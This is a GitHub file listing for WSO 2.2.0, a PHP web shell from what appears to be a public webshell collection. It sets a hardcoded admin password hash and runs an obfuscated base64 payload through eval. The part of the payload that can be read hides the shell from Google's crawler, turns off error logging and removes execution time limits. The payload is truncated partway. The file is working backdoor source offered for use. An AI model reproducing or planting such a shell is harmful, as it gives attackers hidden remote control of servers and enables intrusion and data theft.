webshell/php/wso/WSO_base64.php
tennc 4317fa72b8 add WSO_base64.php @HARDLINUX 👍
author : HARDLINUX
url : https://github.com/HARDLINUX/webshell/
ver : WSO 2.2.0
2015-07-20 11:42:20 +08:00

5 lines
82 KiB
PHP

<?php
/* WSO 2.2.0 (Web Shell by HARD _LINUX) */
$auth_pass = "21232f297a57a5a743894a0e4a801fc3"; //admin
?>
<?php eval("?>".base64_decode("PD9waHAKJGNvbG9yID0gIiNmZmYiOwokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOwpAZGVmaW5lKCdTRUxGX1BBVEgnLCBfX0ZJTEVfXyk7CmlmKCBzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdHb29nbGUnKSAhPT0gZmFsc2UgKSB7CgloZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsKCWV4aXQ7Cn0KQHNlc3Npb25fc3RhcnQoKTsKQGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKQGRlZmluZSgnVkVSU0lPTicsICcyLjIuMCcpOwppZiggZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSApIHsKCWZ1bmN0aW9uIHN0cmlwc2xhc2hlc19hcnJheSgkYXJyYXkpIHsKCQlyZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnc3RyaXBzbGFzaGVzX2FycmF5JywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOwoJfQoJJF9QT1NUID0gc3RyaXBzbGFzaGVzX2FycmF5KCRfUE9TVCk7Cn0KZnVuY3Rpb24gcHJpbnRMb2dpbigpIHsKCT8+Cgk8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